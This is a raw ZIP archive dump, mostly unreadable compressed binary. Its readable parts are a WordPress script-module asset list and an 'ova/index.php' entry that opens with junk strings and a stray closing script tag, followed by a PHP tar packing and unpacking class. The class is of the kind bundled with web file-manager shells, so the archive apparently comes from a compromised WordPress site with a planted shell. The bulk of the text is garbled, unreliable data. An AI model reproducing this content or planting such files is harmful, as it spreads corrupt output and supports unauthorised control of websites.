"y3Hd?j#phD8@!!"h%5L"&2Rj<4p0?q`cZуA0:`mQtT0'8 mh,qB@(74 ҄PD|RT K++<H7C$ = !Ʀ @M1,ҹ0 'j*la CXL{GD47FѢDQb,` #/AME lHQN{"6 S=Є|FظQPG Hox9at*ۏJ8Ccc?A߿4cυb.!!K~O%߼'4@_Xk'zcPxV(D~db(nhBƃ[jڄ.!M ܊:Ҟzc (/`ucEt\otu+=X7Cd?MXb*2 R*&>q &TD@G*ُ)a@P{TbP eb9 ;Y@xgNO,+a^#fU!(.BơqT~ixD#}D\SK/HxNY4d=Ad x2,FV`" O˜\, 4$Jb^+Kc`t7,Hc2b5mGB'0VRAʋE嫇t¯ n""@Dj ;Ot`zZ `I& nKA㮢hm nʦIt.UXZT:lX o i@zV @xO""o.-T.F HlN"D4 $iՀ ×â5a|o\*& a} 0xb7a1vt*z{V@ v 6- YXao? / T0ؤk|汴&Ҁ^ + wñʯA'WுiCTS ex GF$x-/) DX&B~C T8_{= =~[LJVB hGc'Q[Xk!  &;B,(Q;R( 0_"" mEE?W^t&t O %XaTBD} ꡭHW%…/vȟ t'W? . @;(-L QÂŜXĦcPE,сSD7yˆIK4 $x"#}I<)װ׆l FHƿ>$%< A#bx<&̙¬¤iǫKGX',aGO⁵l`b,\,VB.2u5;{Nj XzB+wM!%U*cS?(_Cojwa"\'Q_\}^Pw  ]1_)䇵,./,Ѭoc |q\F3f,j86ӘuuqF7vbf67DvEM] |$:46šß!u׏ u:Շ0F솱Nv )خ5!aH cjCI$ . P}TAErfz39Lm)4 6xu\`+ArWXT:cOS942 rrpM6\TMe|̱qtpP{ WnސH:!4 ǏCYLpa6 &a pyx: IQ PHL&~ՁKYJxt53EJ?`@\r8D!MtuqRȰFuC! Ʋ?olj`( 6V7ƢØt'+ fBnN$ 9ҥ/[%08~:d?P4N y,p.MǏT*UEgGh%b0Buy׸Tɠ7ܷO$*M_p@~i(/34%׊䟟 LI<(!ZFChxu޾Y QD#QB$=Y {lˑ ׅU k+u(leᦠ4LSȄM|}C'80]MmzL@i,X-%\ƹnykvp-;$o?Fs'&|Ht65 B@wIea 3|P Tgi,zB^(R<EF ȼSt38t-, k4Jm!4ïuARs?U;-V|."9bؒ4v-!ApըAS0DIJG_R; G}UΟG#U6ᵂ wk>@"_`)h"Mzh~翮L&~QDL0bblcaaی!#ɯeڦ)l=gT h6_c gȟh=0e("G ;H |㦗^Y`/icRY;'RCARyG]j0 k!F%ȥЩ,L9||F H@{=I'%N o(\Dj`'`O' 1A] pFؤ . (*ԐH2AW!XƩ83@*EkJK5@g#igm}4iFYI0r0h4^#)t$ / 9.,(HMp|aDS:oLW)R+$R(- A K5ްՠr{491aaLS'}i̕.q&E῵GCSU~#"dzPB|~>淆ZPBΒo_^ \*c :ETF'h*8@`2~uVN!]]݆C1;J!l'Ȍy0#QEӖ }c{!IhxI8j:vٲ djcÈxo7uMd0@>dd!^_3 ϕ";Z_uuE>VPh\¾v74݄ZBo'yJ6 Q N XV}$]#vBTpToÏ-b4l2aT;*x_CCVˆ4jXkE^K1 2S rc 8ܗ!Jax9[CEz4#xa7u6 x3r(BOs`Pyhg "r%+oK&xSK[%T6,0dQ;J- 8~ͺBD;b ['kS)(X7ᯈ cmtEDV*KEUcZT!?mN< 6f"% i1 }QBh@cl\jarhTLd=p^h"bxl[)r&q,A\<qx'MA -9^F֚Y;(:bCI/Qja('vj ^#آ UsX 9hW̠PbN3YU k70,[! _ܘu{pZTpHrZBEDECW"b3oEFa ot \vh l6ጴ]:x[8fEƣhqKuXhi@]/M_/ˀ',la(Igsm&C-7iGc 9+@#?7)q F[F)0ޔ0F]8ވgwrIցвl` Q TMx"AioLR$:qA>bU0$6EndPذSшbkpmcAS.q ?7͏t806+ 8L&%[OA),%F ߆oE X78GX3du3'@SGIhbp,ݦpF ߂(5uA@4J d2 ˷-ˁ ь+1c^Zxw" -_=E9SSia/%DV ZJ` #!~"k [ U/V ߽@]!~(Q %`=1m|hHp ٯitUNf/59yB!_1J=qMcyYEB\޶ˠw& #kL^Mm>St[Ж韝AB4Љ ^j28w5\f#]~Rx^9?5-n:Iy~mP{ o~HJ"hzP|go_7}I0<o1jl@#a 0$M8NH2U[\`&7K !!W`k[ .|`5pAD_ k;JVA n43Gv?i *D8Ik'Oǧ<8U5'oOS>q0>aj)TabLf,L[f3_}SakgTx#UpU us>##ikuHR\]iJ [>[$`O02  oʩ"4&ZW%>q#|+Y-i3LS[xmTvka|": o* iM+(x~X|1|v?U: b%/m3Ddž(<BG>kV,|gu8XւOvOb4|$Yco m-3߄*4SkV%|'k4"akUWe*L{'pfY'@ij D%AÏq|UG[ET1|{@ xa-hЙ¡tpbKfP'4bC$6z韈uKgz65Xg!~'LmDXu,Z78]jMxzPC9D AR\q2v8L-l\ݲM"Na:pf.E|p!?50' fIkSBP3k ۄ.B QIA#DLBjIt,s\<(x% j(#qs7NtcH!K,촢> G, GMZF%V`/X{uJ ?`LNh8A4mQO/uڃ=<Ç H_lmu+,ͼu}[0z{uVo4 ^.{7o}eSrQBv}+(6; &4<}30n4pSF[bl0W#f;8liڬG`#o q]lguXv7߰(Ƞ0,;.{GY^${<4tSN㓌C=zZt~a3[xfޘijiy1)K4HN I8Hwݽ_GR)G\0x%AxyIc P@$~{5Y@dql/.$,"`cDB"U!FO)tPBgBQfi0 ?v~϶_~v=( c iQ)Ϡgevr?v_g߲mfw/߲7޾y2D*Z+B$zATO9ىwxyl;i GY8 3S0,"mP+p闸5MAIRr>+v)n$BqG lٶST`@2 l2UZsbr~΂#9fOГ?LU~Jg|0A6 |>@0hŚ7t&q<0jc&3ϐCA3ܒǤ"5V^LsB*< C;{R $Ԃ3,?&w8. N%=ݴ>@",5J*4Gշbi9M"2ghr2m'>ghx4 ;`N֕뛄+|_j A `L<% ȁȩ2$8\,%rLZkD"O}PPf / pP(%q`o99 +U Uj,* FHV=b;s wA0ɰO(WP˜Ы۸ 9ag^ XgAܼZBaOXf3{Y7ҋ4i! ca ]qp)!h~q/1A+L%S˥gqؚ8uZJK~U J#D20DwW,PmV5%vUTY!OeF](3 w rQ녥#W"L ,Xۧ4 *pJk(iA>¢"\]1HxVD[TTj fBh3F](/rA#e Ak] Yhzy9fZV#,68Bk,'_iM>ߘh͘oeIr#xʌ|)("/܀qq qm12X64Ѝn,/4ASojFk_s߬5v#nլmXۡtlO˚ 6QTpϢ99Fiy1*ɃP0MeXkucV2U4\2lZI\)_BI%4m6&BgXâ DAK ~HlZVSR`VEiFt^5M;`Y\4r@pg3|8/bh@b2Ut4?nt j{ixi5KhC憪lMj.*IӜ[,.6E1+`or`(|Zul&VnUgpzxEǁ/2=nקb{q@1fi+9hMncGWhA\6xn/nqX !6y50W;6|x> =CdVeLrӣ{Xnw_&N 2yT&B㜋s* q2{g}0{|[9l, :X9?OM D",uLB/쨳gXNllnA^+<^! ,A%76-gVcW |YܷLňJ˷6\dԭ)ѓ:XK}H' E}țxXу1 H#R~_xZd].w8W==~B ,}.i}rFcw%B2[7&Aׂ C)WڳYJ&A&{AOYriVg#1X,BVIԄͶ`6 fE۬Z#c4B^ylo$Ϳ8](F-O~ä7j oD~4Ox8ÐfJeRM>6Fj ' %xl[tIeg=Z}8tMq!~X?Hm>a+KC.BXr@Ra¼qSn hlϩƪXݏ+]cr04g~ps1Zc,ֱ@P*Є5:0815`z)g&6@sr?! g<,e  3,/e}ERj yl2|1?RQ*OIߞzN9m~ˀ*)45K0cIb#֋ ńGBC3a9Od.zfgqEzYSrߌ*^W0xWQ^t>uaM| bm/ŕ]EإpZE3v] Q9߇L8^7\b Bdr>#E45Z}wX=̉m".F_:X[mi{}W>\ZMmwxo.QZ+:PyT$c(byrjgkoS*o;Ť;xlw PPK@.嘒Hjpv1H*9fWWjR5>`ąxUnV5`fж~C7+c],g\z~y,<__U\46`wm,:.p;A4dj_B 34%gU=@X="\甅ݯҙKK:m=җ7[kΜnBcrNyQpW74^;4QʴtV1nG2g{4Jj8`vJjxO wĤOl˄]AE"A4ݖ^}"LU0N07`]F̏F1脨K]0U7ðz.[q@8!/ӱc}3m=:dW]A  ݈|9YW +%lи#nʯ,s-pBﱧFeZgMŗ=Ke?DgV~x!o f2¨פ%8La9-/d5 8Jc\%vJs~fQmʕauh4 ƥxu291OVqׂipxʗq_Ey'zOŽ% > #Sxgka5m9}z錟u.iG R85)sWFon!=vOT¤ܬG ^η!|r<=x0wW[Vˎ{5{cd u8 }Q^ pcʵPֿ>4p[ZoG~Zj>;vq|:p0;u]u!V> ([1ޮs# nm9kUT*TU]q sfq4s#f?t ("g>/,vxؗF8/]35G]3̉}]`LhBdl{ogEt B['Q+j2+b0pVkބ&-EtM$f:~^ƄeޓYn|Q,wŗ{9>Ի_MT@%kCG<MԄCVIj NSDΣ"OCjH_˒081ծM9ҵM̉oqqZi+egK.k4)qjb=6lS,ȧ.cmc_p)լUp6},)F=lq]L vPĐr(k"CɆ; k.hcF)~>(]`e/jhZ36-)W^(UZNh: ǸNim9Ue,nDy=lx -|UHN*>:On~Wu=|źTXĊF7<_%K1(o8Npƌ{LQ'oa-~lY}?cNj5 pz|_~=Mpf}498N zܼ|E.Jڗ\G_!l8{1¦S`J5t^ ԫ|Z1 )_t_q#Z1% :%]$e@:8,psWb"c5q86m'y"s9;س(;I8LbʶțAZ9  0~;q򐟢fa noa>![P(cpu_n{fnk_]` t0 aaLe ?G+O?അAV@)_0/% I}#.+2vQgH8;*Td%HBQ 9#cp{5DbTn'~ y.A䇣^}I#QPK$[C library.zipnu[PK;{#[) Requests.phpnu[ array('dependencies' => array(), 'version' => '55aebb6e0a16726baffb', 'type' => 'module'), 'interactivity/debug.min.js' => array('dependencies' => array(), 'version' => 'a5c279b9ad67f2a4e6e2', 'type' => 'module'), 'interactivity-router/index.min.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/a11y', 'import' => 'dynamic')), 'version' => 'dc4a227f142d2e68ef83', 'type' => 'module'), 'a11y/index.min.js' => array('dependencies' => array(), 'version' => 'b7d06936b8bc23cff2ad', 'type' => 'module'), 'block-library/file/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'fdc2f6842e015af83140', 'type' => 'module'), 'block-library/form/view.min.js' => array('dependencies' => array('wp-polyfill'), 'version' => 'baaf25398238b4f2a821', 'type' => 'module'), 'block-library/image/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'e38a2f910342023b9d19', 'type' => 'module'), 'block-library/navigation/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '61572d447d60c0aa5240', 'type' => 'module'), 'block-library/query/view.min.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/interactivity-router', 'import' => 'dynamic')), 'version' => 'f55e93a1ad4806e91785', 'type' => 'module'), 'block-library/search/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '208bf143e4074549fa89', 'type' => 'module')); PK![][7[7 ova/index.phpnu[nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PK![}.ccova/index.php.php.tar.gznu[vH دsJULRE )(RJdD$@$XEgKu}C?C} YqꋰY(s|hgX0Fѹ$ a8QTl^H' \Hǵ[w'&igVm@g*ɚX", bx͢l d<GDFË*E2^`Z Ap\)ho*ƠIUrPŹ2C$MѣW(TDIFp# %?#=.ѫF^ (%CA(ˆdM р “"2_y C̈Gk 'H6JAlExS4"JˣP a C7ܛ0#7t&I"+S7HUֲJno41 0ФA.\@|.Q ~ 8e,8L** PqY`l0Vl@"uؽ1[Bو2&#<d,IY$Yhr2.g,xJ7-Ȫ05;\M3ayr6ho+U"Z+?$ݪu/o=:&qUQ~$') 7 <CFJ>2 U閎,l}tɊfqEEjAEXۅ;^6d匡!;m - s q#X,&e6BYM,:hAބ]ZЬ3ıTniYCp_1HVa2PCHڿM_Ola1sQIP5CHC"lCx$ x^w- `@Y xJn;FZcLD?yQF"xfF -KDhaϨ<8 LxFAC@V$H4sl䕲ڜ6lEѻb&e>;3CCEwgqu9/9Xp:PBVѮ!FV|5|@Jq&1ik;+0 P./8^L"J^,pARIE`.ꂨTC(H@?{,MF=uX ]3CM+WQ{ (ךb!X=Mvt,xxF0s8b9CLPw%*D:i;YE`RCÏ>sƒ4 0ޟ:̑b Hw~Lc9w =8/ZH∖2 RY'mH||Pъ:wӤI}"%]Ӡ`,u@-Ba$ M4$]ϑJ|B;&&{lx*RD/T?Ѿ~rC~<_}9r/0QS_\W\'hLj!`Ra=vvA /;P75x11b )t 3,oiAPȎ(ryM6PGW D +L3@w,)6gB !cv~D"c#Jɜ,К 1@kX|:Ğ(qْ죸Ss;6,gCDy,dԹ&mPt*YF#oRd\.ah$>^|@ 1`yi_& |͍HHƲ-e8t Lp}HR i;(8D 2)MSlOڢälWĨ!%ZSK6kGJM$yQ[(M_1#Q5 jޜ ^\a [,$z"K_Tz6@ظkN^ 6Vgca͎wsvUv(']ΰp6 msءAe* `] ;`szz?I1&"$h:D 2bgqI3H¤룡hnE;( CL,cj;* ="vWw͸Z3;y V\rM{눚QN7xiZ I1T-7{ #ڵxEbiHluJD(sUE~l֋s_<ו@ހ>w{~7&|Lw̖ #\_50jXCDnӎmZm`~3?JX8|nnI ( cQ+ID/aD{MG1>lRJh9Ķ:8V7qvh.K>qF{׵ R,sW^y:c) !m `I#}e o>BƗ/C >ϮMMd 4֤q PY,X>h1;۞kh&Ʉ]ݓ7B14c]4 ԩ&z]݅dho,F}ujFf>L(c igyӎ3>013mqL2kykNc)1݌=p L ]Bx= ΀EIJ∤-;CHc&09%j6!u1 M= i %ݢgGZ&f`{^Q A;TyX^ѩ8X} GY ey^|ނ+RsK d [8dטhӃpv,MG\Ȯ-*3sA(9\9g8 5`HkѦt3C9 ЮנsZ:ۣ )vsnyZ26՛{BE#ya>/ >q| jWwnuoGз}]-O> zz=xgU’0fO+&Lzҋ-" 14X M a\0Wù 9Uk./iCh,IHbh0*P shAϩo5[aġ`T >@dTP#|@ 퀡roLc6cy|CwGv^m|"d@=8N0T{L ' y|M6 v:T) Sku&=e5eW6mxȖlSd*l~$(ql";¢?z;٩:hX4.,υH>F۽ExuMf))˄ wH{,Ƨc5(T."g3]qBSyz;ek,ƄIBlhP$alF!]Iܘ,<6,n^ iO~cڎCtɥ3e5|xz/0G&uem2nqP^Bk܌L8DrA{Oԙw';i}ꤠB#݆҉zFeBiwQ77b!'jRԶԈZ}]ro0_;UEȅ8UJ-vT{gжtɸ73zڦzu5k&& BvmwV-e̕㰶q~ER-550RbdSQP8ҏ 3FLfiWՐ]h4/nWrwH8/&\E/b\1G~_TWŢ?Xo>eBYo׏~ nT4N4W#q rWo}n`[ 4z?hrؙP@>%Zs {GX϶s,aX,t%4b!+n#w{bR{M0:@ڿ+7_\{_=W/ KAIoW:ֳh0[AyD#4¡,|qkcsӃd͍2/åҮՉ^[# ^*$Hm`FހL,Ip 0]efvpAE4f< {̇#aR_^0j !xajY/b"C}n }t:gX+,(<P^hN.p@Km!m'L`tt œ71(qWss;_-& >u2(.AXTJQBޏB{{dSa\>NeUooI % Bf]~t/ QWAzsjȺugҭ;~B#te[#f&3Xt2;>cE}ytœ5יuoeU9gQWÂuHˎQr{ RDb’9&!=oܳLZ8ro>氄}.<@ &񻩰!?"Ei4׆"V#of_1aڌ`;q&F)un`ͨ'f&uƸ8YU ]q;̞5>ނkDY8 $pNq读Kqރ~9\=~>J[7s_> źN.g1;؏16vvjliLԂǣܷW?qyxhl!{zCCK]U,f x07h>bv8jk"CƷ3 ߔ,c nZO(1~Mwx6o/sF+**@p.p(~xpɩcCf20Q|4dB 2 Qszħ7 <wMÞQ'H1$USҌ(րqYDl8$ʳێ*֊ %Tipp0$yNIuaCcCy&=C[N\3@\Y?"5řRFJ&@lg2M=o.֫S˴|U}AZx'@ <*ƼUY(PiڝfZ}u0pNƲv/^Mn>A5u?_}͇S$ D؞`/srAuH/CN`B[0k[ݐtr=1;V v;3ÛM+HOo(HJ͔g,;%Dm?+?:?TwH&p ;cg7ٻ=q5a9sDB5wE++V"Xx#ܡP"N_cKXTj^k|a(+Aui[~qA}qpT-3X.]ǟ"Wef:OTT{-=_ޛ[0"q{dy=6ڄ4PH> pxb4Y4rhP΢ѓEd>EA dq(\3pWQ%TL8 ;V.Ì@FÉ(Ha\4mf~3'FS >74/t&%h&cN1A0?Qj U3t+:&.K?DA}#|;$Rlz툔o  5e͌[Z|"Šdܭ8Ff3RA_u&rxcά[FK#Qv fS(ıקJ-hRdF2Wس1\*XT<ۭG\fך^a) !ߤڥ0B.)d]?Wܱlq̯ղ[3YPevyn5l,a+dЬ=ʙNMLg9-<~3"i3<ڙrKL#;rn5~oʏ,x6T#L>{ߍ˙j.y cɌPzS,wL3+X꣺4LZQh cA9ef8›lNbn6{l^~2e<ڕl-ÎS5\ؼǴZ^SjnŞnԋ~If.RrTƘ վZ~lT;.s]Rɬ*#,^T6AoxZb3]6c)qU}}ﲏZۅڕp/OJa\I߱ae|h[-*҉ a/^+ة*ÎZg1=讓J?l4܄#tVL汒:8?.0e){RykdgYUjW{CdiVrي͖ve]69v3)C;טdsy+sww?p\CKAGk.dCɕ03S,? bOf+m6hfq׺LQt:?{ϱX΢Rm63Y7e)Q9=d, I4ն* 7R|7q4Kx56s%ܯC=E5cDIz] 16Z-Z_nQld.y#&{)_7Zs&PykƳᩐ*]*}m=Owm,{Ui^oZL“r5TPR& ڶ;休7bUKyUϴe_ t~fwbIJ*}fȵcYhek"Kz'oy>\G(JOCRe Ja ϧrm߷OHzng_IȘR3^琶Z4s"d&r%;2^#EK]C1 7ֵݝ: |\Zu..R]%V-mU2_.T-R-݇tِ;R.F"0DE=!-27]faaJXCo7X+9MT"D/Ԯ6F].gIVEo.C#u$' FXN&9c~TvV~U12 |2m,"? #ADedM,]8.i,k8iw7ݚFT2Dw"=cV )%-M;iI.=fH4rqoXu-,jŢlM*㪵bB* _H/ňQkF[HcUO\.x-2ªasPBN76,þVeu(&?^kiCv.Kds[/z-vc4ZLmTt7 X|-\]z=Bm ~!N*nÕZK/Di+}I~wE i:^FmV:JwETkbqbx-pwU\lEuR~]uY.O,rYd5Tj$^O󲕼/jϳ٦]$',fC绥P\,"Rh^z֬4ʤݯG#F SoSszCtU8ˁ-*Jxis^F8vד+>⪖nw[h⻕̲zA+bJdWTjIkFJl)Vbr2He+ :&[E5ֻ98Vð?̷c4ChY؛WI{PXMR_mU?z -Uxj?yB '>/X-/Cy>ףyPj'hU1F;-| 